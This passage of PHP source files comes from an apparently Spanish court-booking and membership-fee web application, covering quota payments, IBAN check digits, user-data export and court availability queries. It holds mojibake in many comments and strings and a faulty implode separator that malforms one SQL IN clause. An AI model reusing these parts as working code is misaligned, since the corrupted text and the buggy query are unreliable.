$lang['mail_booking_intro2_change_player'] = ". Como resultado de ese cambio ahora es jugador de una <b>nueva reserva</b> con código";
?>```
users_lib.php
```<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
* Redux Authentication 2
*/
class users_lib
{
public function users_lib()
{
$this->CI =& get_instance();
log_message('debug', "users_lib Class Initialized");
$this->CI->load->model('Redux_auth_model', 'usuario', TRUE);
}
##############
#
# Devuelve listado de codigos de usuario que, segรบn parametrizaciรณn, ya deben pagar sus cuotas
#
####################
public function get_quotable_users($valid = TRUE) {
$niveles_que_pagan = $this->get_quotable_groups();
//print("aa<pre>");print_r($niveles_que_pagan);exit();
# Si no hay niveles a los que cobrar.. lista vacรญa
if(!count($niveles_que_pagan)) return NULL;
$where = "users.active = '1'";
$dias_caducidad = $this->CI->config->item('users_qouta_caducity_days');
if(!isset($dias_caducidad) || $dias_caducidad =='') $dias_caducidad = 0;
$fecha_control = date($this->CI->config->item('date_db_format'), strtotime(date($this->CI->config->item('date_db_format')).' +'.$dias_caducidad.'days'));
//echo $fecha_control.'---';
$usuarios = $this->CI->usuario->get_data(array('where' => "users.active = '1' and users.group_id IN ('".implode("'. '", $niveles_que_pagan)."') and meta.code_price is not null and meta.code_price <> '0' and meta.last_payd_date is not null and meta.last_payd_date <= '".$fecha_control."'"))->result_array();
//echo $this->CI->db->last_query();
$pagadores = array();
$sin_datos = array();
foreach($usuarios as $usuario) {
/*
if($usuario['bank'] != '' && $usuario['bank_office'] != '' && $usuario['bank_dc'] != '' && $usuario['bank_account'] != '' && intval($usuario['bank']) != 0 && intval($usuario['bank_office']) != 0 && $usuario['bank_dc'] != '0' && intval($usuario['bank_account']) != '0' ) array_push($pagadores, $usuario);
else array_push($sin_datos, array('id' => $usuario['id'], 'code_price' => $usuario['code_price'], 'nombre' => trim($usuario['first_name'].' '.$usuario['last_name'])));
*/
array_push($pagadores, $usuario);
}
if($valid) return $pagadores;
else return $sin_datos;
}
##############
#
# Devuelve listado de codigos de usuario que, segรบn parametrizaciรณn, ya deben pagar sus cuotas
#
####################
public function pay_user_quota($code_user, $options = NULL) {
$last_payd_date = $this->CI->usuario->getLastPayedDate($code_user);
$next_payment_date = '';
if($options['code_price']!='' && isset($options['payd_date_tmp']) && $options['payd_date_tmp']!='') $next_payment_date = date($this->CI->config->item('date_db_format'), strtotime($options['payd_date_tmp']));
else if($options['code_price']!='') $next_payment_date = $this->CI->usuario->getNextPaymentDate($code_user);
//echo '<br>nueva last_payd_date:'.$last_payd_date;
//echo '<br>siguiente fecha pago:'.$next_payment_date;
//exit();
$quota = 0;
if(isset($options['payable_quota']) && $options['payable_quota']!='' && is_numeric($options['payable_quota'])) $quota = $options['payable_quota'];
else if($options['code_price']!='') $quota = $this->CI->usuario->get_userQuota($options);
//echo '<br>cuota de usuario '.$code_user.': '.$quota;
//exit();
if(isset($options['paymentway']) && $options['paymentway']!='') $paymentway = $options['paymentway'];
else $paymentway = $this->CI->config->item('users_qouta_default_paymentway');
//echo '<br>Forma de pago: '.$paymentway;
if(isset($options['status']) && $options['status']!='') $estado = $options['status'];
else $estado = $this->CI->config->item('users_qouta_default_payment_status');
//echo '<br>Estado de pago: '.$estado;
# Si es para la lista de espera o si la cuota de alta es 0 o si, siendo otra, viene con la acciรณn de 'save', osea, ya pagada..
if(isset($quota) && $quota!="" && isset($paymentway) && $paymentway!=0 && $paymentway!="") {
$fecha_humana = date($this->CI->config->item('reserve_date_filter_format'), strtotime($next_payment_date));
if($this->CI->usuario->setMonthlyPayment($code_user, $next_payment_date)) $this->CI->session->set_userdata('info_message', 'Pago hasta el '.$fecha_humana.' realizado');
else {
return FALSE;
}
$user_desc = $options['name'];
//$estado = 9;
//if($estado=='' && $paymentway == 4) $estado = 2;
if($quota == 0) $estado = 9; // Si la cuota resultante es '0', se pone siempre como pagado para evitar pagos raros pendientes en remesas
$this->CI->load->model('Payment_model', 'pagos', TRUE);
$this->CI->pagos->id_type = 5; //Clases y cursos
$this->CI->pagos->id_element = $this->CI->session->userdata('session_id');
$this->CI->pagos->id_transaction = '5-'.$code_user.'-'.date('U', strtotime($next_payment_date)); // Formato '5' de usuario, codigo de usuario, y timestamp de fecha de pago
$this->CI->pagos->id_user = $code_user;
$this->CI->pagos->desc_user = $user_desc;
$this->CI->pagos->id_paymentway = $paymentway;
$this->CI->pagos->status = $estado;
$this->CI->pagos->quantity = $quota;
//$this->pagos->description="Cuota de usuario '".$user_desc."', hasta el ".$fecha_humana;
$this->CI->pagos->description = "Cuota de usuario hasta el ".$fecha_humana;
$this->CI->pagos->datetime = date($this->CI->config->item('log_date_format'));
$this->CI->pagos->fecha_valor = $last_payd_date;
$this->CI->pagos->create_user = $this->CI->session->userdata('user_id');
$this->CI->pagos->create_time = date($this->CI->config->item('log_date_format'));
$this->CI->pagos->setPayment();
return TRUE;
//redirect($returnUrl, 'Location');
exit();
} else return FALSE;
}
##############
#
# Devuelve listado de niveles de usuario que, segรบn parametrizaciรณn, deben pagar cuotas
#
####################
public function get_quotable_groups() {
$niveles_que_pagan_arr = $this->CI->config->item('users_quota_group');
$niveles_que_pagan = array();
foreach($niveles_que_pagan_arr as $grupo => $permiso) if($permiso) array_push($niveles_que_pagan, $grupo);
if(count($niveles_que_pagan)) return $niveles_que_pagan;
else return NULL;
}
/**
* Generar el array de datos a exportar
*
* @return boolean
* @author
**/
public function export_data($opciones = NULL)
{
$this->CI->load->model('redux_auth_model', 'redux2', TRUE);
//$records = $this->CI->payment2->get_data(array('page' => 1, 'num_rows' => 25));
$records = $this->CI->redux2->get_data_to_export();
//$resultado = $records->result_array();
//echo $texto."<pre>"; print_r($records);exit();
return $records;
}
# -------------------------------------------------------------------
# genera un fichero de texto en el servidor con los datos de usuarios
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function exportacion ($opciones = NULL)
{
//$this->load->model('Reservas_model', 'reservas', TRUE);
$exportacion = $this->export_data(array('formato' => 'array', 'opcion' => $opciones));
//echo $texto."<pre>"; print_r($exportacion);exit();
$texto = $this->CI->app_common->to_csv($exportacion);
//$data->rows = $records;
//echo $texto."<pre>"; print_r($exportacion);exit();
$fp = fopen($this->CI->config->item('root_path').'data/users_'.md5($this->CI->config->item('club_name')).'.txt', 'w');
fwrite($fp, utf8_decode($texto));
fclose($fp);
//echo json_encode ($data );
//exit( 0 );
}
/**
* my_bcmod - get modulus (substitute for bcmod)
* string my_bcmod ( string left_operand, int modulus )
* left_operand can be really big, but be carefull with modulus :(
* by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania
**/
function personal_bcmod ( $x, $y )
{
// how many numbers to take at once? carefull not to exceed (int)
$take = 5;
$mod = '';
do
{
$a = (int)$mod.substr( $x, 0, $take );
$x = substr( $x, $take );
$mod = $a % $y;
}
while ( strlen($x) );
return (int)$mod;
}
/**
* Gernerar el DC, dรญgito control de IBAN, y devolver en nuevo IBAN con DC
*
* @link http://www.desarrolloweb.com/articulos/2484.php
* @param string $_iban
* @return $iban_
*/
function generarDCInToIban( $_iban ) {
$ibanConDC_ = -1;
// IBAN sin DC, DC = 00 : BE00999999999999
// IBAN con DC, DC = 89 : BE89999999999999
// Mover los cuatro primeros caracteres del nรบmero IBAN a la derecha:
$ibanConDC_ = substr($_iban,4)."".substr($_iban,0,4);
// Convertir las letras a nรบmeros segรบn la siguiente tabla:
// A=10 G=16 M=22 S=28 Y=34
// B=11 H=17 N=23 T=29 Z=35
// C=12 I=18 O=24 U=30
// D=13 J=19 P=25 V=31
// E=14 K=20 Q=26 W=32
// F=15 L=21 R=27 X=33
$letras_array = array("A","B","C","D","E","F","G","H","I","J","K","L",
"M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
$numeros_array = array("10","11","12","13","14","15","16","17","18","19","20","21",
"22","23","24","25","26","27","28","29","30","31","32","33","34","35");
$ibanConDC_ = str_replace( $letras_array, $numeros_array, $ibanConDC_);
// Aplicar la operaciรณn mรณdulo 97 y restar al nรบmero 98, el valor obtenido.
// Si el resultado consta de sรณlo un dรญgito, insertar un cero a la izquierda.
//$modulo97 = intval($ibanConDC_) % 97;
//$modulo97 = $ibanConDC_ % 97;
$modulo97 = $this->personal_bcmod($ibanConDC_, 97);
//exit('aaaaaaaaaaaaaaaaaaaaaaaa');
$dc = 98 - $modulo97;
// insertar 0 a la izquierda si fuera menor de dos dรญgitos
$dc = sprintf("%02d",$dc);
// Sustituimos los dรญgitos 2 y 4 por el $dc
$ibanConDC_ = substr($_iban,0,2).$dc.substr($_iban,4);
return $ibanConDC_;
}
}
```
spanish_lang.php
```<?php
# BOTONES
$lang['login'] = "Identificarse";
$lang['logout'] = "Salir";
$lang['signin'] = "Registrarse";
$lang['remember'] = "Recordar";
$lang['access'] = "Acceder";
$lang['cancel'] = "Cancelar";
# MENU
$lang['mnu_inicio'] = "Inicio";
$lang['mnu_reserva'] = "Reservar";
$lang['mnu_gestion'] = "Gestión";
$lang['mnu_notification'] = "Notificaciones";
$lang['mnu_reservas'] = "Reservas";
$lang['mnu_reservas_all'] = "Listado general";
$lang['mnu_reservas_today'] = "Reservas de hoy";
$lang['mnu_reservas_status'] = htmlentities("Estado de ocupaciรณn");
$lang['mnu_reservas_canceled'] = "Reservas canceladas";
$lang['mnu_reservas_by_user'] = "Mis Reservas";
$lang['mnu_reservas_new_by_phone'] = "Reserva Telefónica";
$lang['mnu_reservas_new_present'] = "Reserva Presencial";
$lang['mnu_socios'] = "Socios";
$lang['mnu_socios_new'] = "Nuevo socio";
$lang['mnu_socios_list'] = "Listado de socios";
$lang['mnu_factura'] = "Facturación";
$lang['mnu_actividades'] = "Clases y cursos";
$lang['mnu_recepcion'] = "Panel recepción";
$lang['mnu_report'] = "Informes";
$lang['mnu_report1'] = "Informes 1";
$lang['mnu_report2'] = "Informes 2";
$lang['mnu_report3'] = "Informes 3";
$lang['mnu_report3_1'] = "Informes 3.1";
$lang['mnu_report3_2'] = "Informes 3.2";
$lang['mnu_perfil'] = "Mi cuenta";
$lang['mnu_logout'] = "Salir";
#WELCOME
$lang['welcome'] = "Bienvenido";
$lang['welcome_title'] = "Bienvenidos a Reserva Deportiva";
$lang['welcome_text'] = htmlentities("La web a travรฉs de la cual podrรกs realizar reservas para jugar en tu club favorito sin necesidad de desplazarte ni esperar nรบmeros telefรณnicos comunicando.");
$lang['welcome_text_logged'] = htmlentities("Difruta de todos los beneficios de ser un usuario registrado en el sistema, como el bono prepago, la reserva con mรกs anticipaciรณn y el control de tus reservas y gastos.");
#COMUNES
$lang['date'] = "Fecha";
$lang['init_time'] = "Hora Inicio";
$lang['usuario'] = "Usuario";
$lang['currency'] = '€';
$lang['hour'] = 'hora';
$lang['hours'] = 'horas';
$lang['minutes'] = 'minutos';
$lang['units'] = 'unidades';
$lang['and'] = 'y';
# DATOS DE USUARIO
$lang['user_name'] = 'Nombre';
$lang['anonymous_user'] = htmlentities('Usuario anรณnimo');
$lang['user_id'] = 'NIF';
$lang['user_phone'] = htmlentities('Telรฉfono');
$lang['first_name'] = htmlentities('Nombre');
$lang['last_name'] = htmlentities('Apellido');
$lang['username'] = htmlentities('Apodo');
#BUSQUEDA PISTA
$lang['court_search'] = "Busca tu pista!";
$lang['court_required_alert'] = "Rellene la pista de la que quiere hacer reserva";
$lang['date_required_alert'] = "Seleccione una fecha sobre la que quiere hacer reserva";
#PAGINA INICIO
$lang['login_form'] = htmlentities("Acceso a la aplicaciรณn");
$lang['register_form'] = htmlentities("Crear una nueva cuenta de usuario");
$lang['two_fields_mandatory'] = htmlentities("Los dos campos son obligatorios.");
$lang['all_fields_mandatory'] = htmlentities("Todos los campos son obligatorios.");
$lang['report_search'] = "Actualizar";
$lang['report_pdf'] = "Exportar a PDF";
$lang['report_excel'] = "Exportar a Excel";
#Formas de pago
$lang['id_type'] = 'Tipo de pago';
$lang['payment_status'] = 'Estado';
$lang['user'] = 'Usuario';
$lang['payment_ways'] = 'Forma pago';
$lang['Contado'] = 'Efectivo';
$lang['Tarjeta'] = 'Tarjeta';
$lang['TPV'] = 'TPV';
$lang['Paypal'] = 'Paypal';
$lang['Transferencia'] = 'Transferencia';
$lang['Prepago'] = 'Prepago';
$lang['under_construction'] = "En construcción";
#Nombres de modulos
$lang['ranking_name'] = "Ranking";
?>```
reservas_model.php
```<?php
class Reservas_model extends Model {
/*
# CONTENIDO
#
# getSportsArray()
# getReserveStatusArray()
# getPaymentWaysArray()
# getSpecialTimetable()
# getSpecialTimetableByCourt()
# getAvailabilityByCourt()
# checkExactAvailability()
# bookingInterval()
# getBookingInfoBySession()
# getBookingInfoById()
# eraseInterval()
# clearByUser()
# getPaymentMethodsByUser()
# setSelectionReserved()
# getPrice()
# get_data()
# get_data_count()
# get_listall()
# get_list_by_day()
# get_global_list()
# get_court_ocupation()
# get_complete_court_ocupation()
# validate_reserve()
# cleanBlockReserves()
#
*/
var $date = NULL;
var $intervalo = NULL;
var $status = NULL;
var $court = NULL;
var $id = NULL;
var $group = NULL;
var $id_user = NULL;
var $id_booking = NULL;
var $id_transaction = NULL;
var $booking_code = NULL;
var $user_nif = NULL;
var $sesion = NULL;
var $user_desc = NULL;
var $paymentway = NULL;
var $price = NULL;
var $price_court = NULL;
var $price_light = NULL;
var $price_supl1 = NULL; // Suplemento por reserva anticipada
var $price_supl2 = NULL; // Suplemento por invitados
var $price_supl3 = NULL;
var $price_supl4 = NULL;
var $price_supl5 = NULL;
var $availability = NULL;
var $create_user = NULL;
var $create_time = NULL;
##############################################################################
function Reservas_model()
{
// Call the Model constructor
parent::Model();
$this->load->model('Pistas_model', 'pistas', TRUE);
}
##############################################################################
function getSportsArray($format = null)
{
//$query = $this->db->get('entries', 10);
//return $query->result();
if($format == 'json') $result=array();
else $result=array(""=>"Selecciona deporte");
$sql = "SELECT id, description FROM zz_sports WHERE active=1 ";
$query = $this->db->query($sql);
foreach ($query->result() as $row)
{
if($format == 'json') array_push($result, $row->description.':'.$this->lang->line($row->description));
else $result[$row->id]=$this->lang->line($row->description);
}
if($format == 'json') $result = implode(';', $result);
return $result;
}
##############################################################################
function getReserveStatusArray()
{
//$query = $this->db->get('entries', 10);
//return $query->result();
$result=array(""=>"Selecciona opcion");
$sql = "SELECT id, description FROM zz_booking_status ";
$query = $this->db->query($sql);
foreach ($query->result() as $row)
{
$result[$row->id]=$this->lang->line($row->description);
}
return $result;
}
##############################################################################
function getPaymentWaysArray()
{
//$query = $this->db->get('entries', 10);
//return $query->result();
$result=array(""=>"Selecciona opcion");
$sql = "SELECT id, description FROM zz_paymentway WHERE active=1";
$query = $this->db->query($sql);
foreach ($query->result() as $row)
{
$result[$row->id]=$this->lang->line($row->description);
}
return $result;
}
##############################################################################
function getSpecialTimetable() {
# Devuelve array con el horario especial comรบn para la fecha definida
$date=$this->date;
$weekday=@date('N', strtotime($date));
$court=$this->court;
if($date!="" && $weekday!="") {
# Compruebo si hay un horario especial activo para la fecha dada para todas las pistas
$sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 2 and (id_court = 0 or id_court = ?) and date = ? LIMIT 1";
$query = $this->db->query($sql, array($court, $date));
//echo '<br>sesion: '.$this->db->last_query();
if ($query->num_rows() > 0) {
$row = $query->row();
$timetable=$row->time_table;
} else {
# Compruebo si hay un horario especial activo para una fecha anual para todas las pistas
$date_tmp=explode("-", $date);
$date_anual='%'.$date_tmp[1]."-".$date_tmp[2];
$sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 1 and id_court = 0 and date LIKE ? LIMIT 1";
$query = $this->db->query($sql, array($date_anual));
if ($query->num_rows() > 0) {
$row = $query->row();
$timetable=$row->time_table;
} else return NULL;
}
//echo "<br>Horario: ".$timetable;
# Recupero el detalle del timetable asociado al horario especial
$result=array();
$sql = "SELECT time_tables_detail.`interval`, time_tables_detail.status FROM time_tables_detail, time_tables WHERE time_tables_detail.id_time_table = time_tables.id AND time_tables_detail.id_time_table = ? AND (time_tables_detail.weekday = ? OR time_tables.everyday = 1) ORDER BY time_tables_detail.`interval`";
$query = $this->db->query($sql, array($timetable, $weekday));
//echo '<br>sesion: '.$this->db->last_query();
//exit($date.' - '.$weekday);
if ($query->num_rows() > 0) {
foreach ($query->result() as $row) {
$result[$court."-".date('U', strtotime($date." ".$row->interval))]=array(date('H:i', strtotime($row->interval)),$row->status, '', '', '', '', '');
}
//print("horario especial periodico, encontrado.<br>");//print_r ($result);
$this->availability=$result;
return NULL;
} else return NULL;
# Aquรญ habrรญa que meter una funcion que rellene los posibles espacios vacรญos del array y lo ordene
print_r ($result);
} else return NULL;
}
##############################################################################
function getSpecialTimetableByCourt() {
# Devuelve array con el horario especial especรญfico para la pista dada
$court=$this->court;
//echo "PIsta en marcha: ".$this->court."<br>";
$date=$this->date;
$weekday=@date('N', strtotime($date));
if($court!="" && $date!="" && $weekday!="") {
# Compruebo si hay un horario especial activo para la fecha dada para todas las pistas
$sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 2 and id_court = ? and date = ? LIMIT 1";
$query = $this->db->query($sql, array($court, $date));
if ($query->num_rows() > 0) {
$row = $query->row();
$timetable=$row->time_table;
} else {
# Compruebo si hay un horario especial activo para una fecha anual para todas las pistas
$date_tmp=explode("-", $date);
$date_anual='%'.$date_tmp[1]."-".$date_tmp[2];
$sql = "SELECT time_table FROM time_tables_specials WHERE status = 1 and type = 1 and id_court = ? and date LIKE ? LIMIT 1";
$query = $this->db->query($sql, array($court, $date_anual));
if ($query->num_rows() > 0) {
$row = $query->row();
$timetable=$row->time_table;
} else return NULL;
}
//echo "<br>Horario: ".$timetable;
# Recupero el detalle del timetable asociado al horario especial
$result=array();
$sql = "SELECT time_tables_detail.`interval`, time_tables_detail.status FROM time_tables_detail, time_tables WHERE time_tables_detail.id_time_table = time_tables.id AND time_tables_detail.id_time_table = ? AND (time_tables_detail.weekday = ? OR time_tables.everyday = 1) ORDER BY time_tables_detail.`interval`";
$query = $this->db->query($sql, array($timetable, $weekday));
if ($query->num_rows() > 0) {
foreach ($query->result() as $row) {
$result[$court."-".date('U', strtotime($date." ".$row->interval))]=array(date('H:i', strtotime($row->interval)),$row->status, '', '', '', '', '');
}
//print("horario especial periodico, encontrado.<br>");
$this->availability=$result;
return NULL;
} else return NULL;
# Aquรญ habrรญa que meter una funcion que rellene los posibles espacios vacรญos del array y lo ordene
} else return NULL;
}
##############################################################################
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de preseleccion de pista
# -------------------------------------------------------------------
function getAvailabilityByCourt($fecha="", $pista="", $exclusion = NULL, $options = NULL) {
# Devuelve array con las horas disponibles para ser reservadas de la pista y dia comunicados, del 'availability' almacenado
# $exclusion es el id_transaction que ignoraremos en caso de venir (para cambios de horas de reserva en que se solapen parcialmente la reserva antigua y la nueva, por ejemplo...)
# $options albergarรก opciones
# $options['block_past'] definirรก si toda fecha y hora pasada se marca como bloqueada o no .. .para evitar reservar horas antiguas.. pero con la opciรณn de habilitarlo para la comprobaciรณn de si cierta pista estaba hรกbil en el pasado o para grabar clases que empiezan en fechas antiguas sin que casque.
if(!isset($options)) $options = array('block_past' => TRUE);
if($fecha=="" || $pista=="") {
foreach($this->availability as $intervalo => $valores) {
$this->availability[$intervalo][1]="0";
}
return NULL;
}
# Si la fecha es pasada, todo bloqueado
if($options['block_past'] && $fecha < date($this->config->item('date_db_format'))) {
foreach($this->availability as $intervalo => $valores) {
$this->availability[$intervalo][1]="0";
}
return NULL;
}
//echo $fecha;
# Si la fecha es hoy, bloqueo horas pasadas (permitiendo cierto retraso en este bloqueo)
if($options['block_past']){
$delay = $this->config->item('booking_delay_seconds');
$profile = $this->redux_auth->profile();
if(count($delay)<= 0 || !is_object($profile) ||!isset($delay[$profile->group]) || !is_numeric($delay[$profile->group])) $retardo = 0;
else $retardo = $delay[$profile->group];
//print_r($profile);
//echo '<br>'.$profile->group.' - '.$delay[$profile->group];
if($fecha == date($this->config->item('date_db_format'))) {
//echo $this->date.' Hoy -';
foreach($this->availability as $intervalo => $valores) {
if(strtotime($this->availability[$intervalo][0]) <= (strtotime(date($this->config->item('reserve_hour_filter_format'))) - $retardo )) {
$this->availability[$intervalo][1]="0";
}
}
}
}
$availability=$this->availability;
//echo "<b>AAAAAAAA</b>";
$sql = "SELECT intervalo, id_transaction, status, shared, no_cost FROM booking WHERE status > 0 and date = ? and id_court = ? order by intervalo";
$query = $this->db->query($sql, array($fecha, $pista));
if ($query->num_rows() > 0) {
foreach ($query->result() as $row) {
$id=$pista."-".date('U', strtotime($fecha." ".$row->intervalo));
//echo "<b>".$id."</b><br>";
if(isset($availability[$id]) && $availability[$id][1]=="1") {
//echo "existe!<br>";
$this->availability[$id][1]="0";
# Si tengo marcada una reserva para excluirla y estamos justo en ese caso, pongo de nuevo la disponibilidad a 1
if($row->id_transaction == $exclusion) $this->availability[$id][1]="1";
}
$this->availability[$id][2] = $row->id_transaction;
$this->availability[$id][3] = $row->status;
$info = $this->getBookingInfoById($row->id_transaction);
//echo '<pre>';print_r($info);
$this->availability[$id][4] = $info['inicio'].'-'.$info['fin'];
$this->availability[$id][5] = $row->shared;
$this->availability[$id][6] = $row->no_cost;
}
}
return NULL;
}
##############################################################################
function checkExactAvailability() {
# Devuelve si un intervalo estรก reservado o no
$sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? LIMIT 1";
$query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court));
if ($query->num_rows() > 0) return FALSE;
else return TRUE;
}
##############################################################################
function bookingInterval() {
# Marca un intervalo como reservado
$debug = FALSE;
$sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? LIMIT 1";
$query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court));
if($debug) 'SQL: '.$this->db->last_query();
if ($query->num_rows() == 0) {
$data = array(
'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)),
'id_transaction' => $this->session->userdata('idTransaction'),
'booking_code' => $this->app_common->reserve_encode($this->session->userdata('idTransaction')),
'id_user' => $this->id_user,
'id_court' => $this->court,
'date' => $this->date,
'session' => $this->sesion,
'intervalo' => $this->intervalo,
'price' => $this->price,
'price_court' => $this->price_court,
'price_light' => 0,
'price_supl1' => $this->price_supl1,
'price_supl2' => $this->price_supl2,
'price_supl3' => 0,
'price_supl4' => 0,
'price_supl5' => 0,
'status' => $this->status,
'create_user' => $this->create_user,
'create_time' => date($this->config->item('log_date_format'))
);
if($this->status > 0){
# Si el status es mayor que cero, marco la reserva... Si no, solo ejecuto la funcionalidad de marcar en sesion
$this->db->insert('booking', $data);
log_message('debug',$this->db->last_query());
}
$intervalos=$this->session->userdata('bookingInterval');
if(!isset($intervalos) || !is_array($intervalos)) {
$this->session->set_userdata('bookingInterval', array ($data['id_booking']));
} else {
array_push($intervalos, $data['id_booking']);
$this->session->set_userdata('bookingInterval', $intervalos);
}
//$this->session->set_flashdata('bookingInterval', 'value');
return TRUE;
} else return FALSE;
}
##############################################################################
function getBookingInfoBySession($session) {
# Devuelve informaciรณn de la reserva pendiente registrada para un numero de sesion
$this->load->model('Pistas_model', 'pistas', TRUE);
$sql = "SELECT courts.id as id_court, courts.name as name, booking.id, booking.id_transaction, date , intervalo, price, price_light, price_court, booking_code, id_user, booking.user_desc, user_phone, no_cost, no_cost_desc, booking.status as status, meta.first_name as first_name, meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, id_paymentway FROM courts, zz_booking_status, booking LEFT OUTER JOIN meta ON booking.id_user = meta.user_id WHERE zz_booking_status.id = booking.status AND courts.id=booking.id_court and courts.active=1 and session = ? ORDER BY id_court asc, intervalo asc";
$query = $this->db->query($sql, array($session));
//echo 'sesion: '.$this->db->last_query();
if ($query->num_rows() > 0) {
$precio_total=0;
$precio_pista=0;
$intervalos=0;
$min='';
$max='';
$light = false;
$light_price = 0;
$pista=array();
$fecha=0;
$usuario=0;
$id_court=0;
$status=0;
$id = '';
foreach ($query->result() as $row) {
if($id == '' || $id > $row->id) $id = $row->id; // Me quedo con el id menor
if($row->price_light != 0) $light = true;
$light_price += $row->price_light;
$id_court = $row->id_court;
$reserve_interval = $this->pistas->getCourtInterval($row->id_court);
$status = $row->status;
if(!isset($pista[$row->name])) $pista[$row->name] = array();
$inicio=date($this->config->item('hour_db_format'), strtotime($row->intervalo));
$fin=date($this->config->item('hour_db_format'), strtotime($row->intervalo)+($reserve_interval * 60));
array_push($pista[$row->name], array($inicio, $fin, $row->price));
if($min > $inicio || $min=='') $min = $inicio;
if($max < $fin || $max=='') $max = $fin;
$usuario = $row->id_user;
if($usuario==0) {
$user_desc = $row->user_desc;
$user_phone = $row->user_phone;
} else {
$user_desc = $row->first_name.' '.$row->last_name;
$user_phone = $row->phone;
}
$intervalos++;
$precio_total=$precio_total+$row->price;
$precio_pista=$precio_pista+$row->price_court;
$fecha=$row->date;
}
$result=array(
'date' => $fecha,
'price' => $precio_pista,
'intervals' => $intervalos,
'user' => $usuario,
'user_desc' => $user_desc,
'user_phone' => $user_phone,
'inicio' => $min,
'fin' => $max,
'light' => $light,
'light_price' => $light_price,
'total_price' => $precio_total,
'reserva' => $pista ,
'id_court' => $id_court,
'court' => $row->name,
'no_cost' => $row->no_cost,
'no_cost_desc' => $row->no_cost_desc,
'booking_code' => $row->booking_code,
'id_transaction' => $row->id_transaction,
'id' => $id,
'status' => $status,
'status_desc' => $row->status_desc,
'paymentway' => $row->id_paymentway,
'operation_desc' => 'Reserva ('.$row->booking_code.') de '.$row->name.' el '.date($this->config->item('reserve_date_filter_format'), strtotime($fecha)).' de '.$min.' a '.$max
);
return $result;
} else return FALSE;
}
##############################################################################
function getBookingInfoById($id_transacion) {
# Devuelve informaciรณn de la reserva pendiente registrada para un numero de sesion
$sql = "SELECT courts.id as id_court, courts.name as name, booking.id, booking.id_transaction, date , intervalo, price, price_light, price_court, id_user, booking.user_desc, booking_code, user_phone, no_cost, no_cost_desc, booking.status as status, meta.first_name as first_name, meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, courts.sport_type as id_sport, zz_sports.description as sport, shared, id_paymentway, booking.create_time, booking.price_supl1, booking.price_supl2 FROM courts, zz_booking_status, zz_sports, booking LEFT OUTER JOIN meta ON booking.id_user = meta.user_id WHERE zz_booking_status.id = booking.status AND zz_sports.id = courts.sport_type AND courts.id=booking.id_court and courts.active=1 and id_transaction = ? ORDER BY id_court asc, intervalo asc";
$query = $this->db->query($sql, array($id_transacion));
//echo $this->db->last_query();//exit();
if ($query->num_rows() > 0) {
$precio_total=0;
$precio_pista=0;
$precio_supl1=0;
$precio_supl2=0;
$intervalos=0;
$min='';
$max='';
$light = false;
$light_price = 0;
$pista=array();
$fecha=0;
$usuario=0;
$id_court=0;
$status=0;
$id = '';
foreach ($query->result() as $row) {
if($id == '' || $id > $row->id) $id = $row->id; // Me quedo con el id menor
if($row->price_light != 0) $light = true;
$light_price += $row->price_light;
$id_court = $row->id_court;
$reserve_interval = $this->pistas->getCourtInterval($id_court);
$status = $row->status;
if(!isset($pista[$row->name])) $pista[$row->name] = array();
$inicio=date($this->config->item('hour_db_format'), strtotime($row->intervalo));
$fin=date($this->config->item('hour_db_format'), strtotime($row->intervalo)+($reserve_interval * 60));
array_push($pista[$row->name], array($inicio, $fin, $row->price));
if($min > $inicio || $min=='') $min = $inicio;
if($max < $fin || $max=='') $max = $fin;
$usuario = $row->id_user;
if($usuario==0) {
$user_desc = $row->user_desc;
$user_phone = $row->user_phone;
} else {
$user_desc = $row->first_name.' '.$row->last_name;
$user_phone = $row->phone;
}
$intervalos++;
//$precio_total=$precio_total+$row->price_court;
$precio_supl1=$precio_supl1+$row->price_supl1;
$precio_supl2=$precio_supl2+$row->price_supl2;
$precio_total=$precio_total+$row->price;
$precio_pista=$precio_pista+$row->price_court;
$fecha=$row->date;
}
$result=array(
'date' => $fecha,
'fecha' => date($this->config->item('reserve_date_filter_format') ,strtotime($fecha)),
'price' => $precio_pista,
'intervals' => $intervalos,
'user' => $usuario,
'user_desc' => $user_desc,
'user_phone' => $user_phone,
'inicio' => $min,
'fin' => $max,
'light' => $light,
'light_price' => $light_price,
'total_price' => $precio_total,
'precio_supl1' => $precio_supl1,
'precio_supl2' => $precio_supl2,
'reserva' => $pista ,
'id_court' => $id_court,
'court' => $row->name,
'id_sport' => $row->id_sport,
'sport' => $row->sport,
'no_cost' => $row->no_cost,
'no_cost_desc' => $row->no_cost_desc,
'booking_code' => $row->booking_code,
'id_transaction' => $row->id_transaction,
'id' => $id,
'status' => $status,
'status_desc' => $row->status_desc,
'paymentway' => $row->id_paymentway,
'operation_desc' => 'Reserva ('.$row->booking_code.') de '.$row->name.' el '.date($this->config->item('reserve_date_filter_format'), strtotime($fecha)).' de '.$min.' a '.$max,
'create_time' => $row->create_time,
);
# Informaciรณn adicional para partidos de tipo 'reto'
if($row->shared == '1') {
$sql = "SELECT * FROM booking_shared WHERE id_transaction = ?";
$query = $this->db->query($sql, array($id_transacion));
//echo $this->db->last_query();//exit();
if ($query->num_rows() > 0) {
foreach ($query->result() as $row) {
$result['players'] = $row->players;
$result['price_by_player'] = $row->price_by_player;
$result['gender'] = $row->gender;
$result['low_player_level'] = $row->low_player_level;
$result['high_player_level'] = $row->high_player_level;
$result['limit_date'] = $row->limit_date;
$result['visible'] = $row->visible;
$result['last_notify'] = $row->last_notify;
$result['winner_recorded'] = $row->winner_recorded;
}
} else {
$result['players'] = '';
$result['price_by_player'] = '';
$result['gender'] = '';
$result['low_player_level'] = '';
$result['high_player_level'] = '';
$result['limit_date'] = '';
$result['visible'] = '';
$result['last_notify'] = '';
$result['winner_recorded'] = '0';
}
$sql = "SELECT * FROM booking_players WHERE id_transaction = ?";
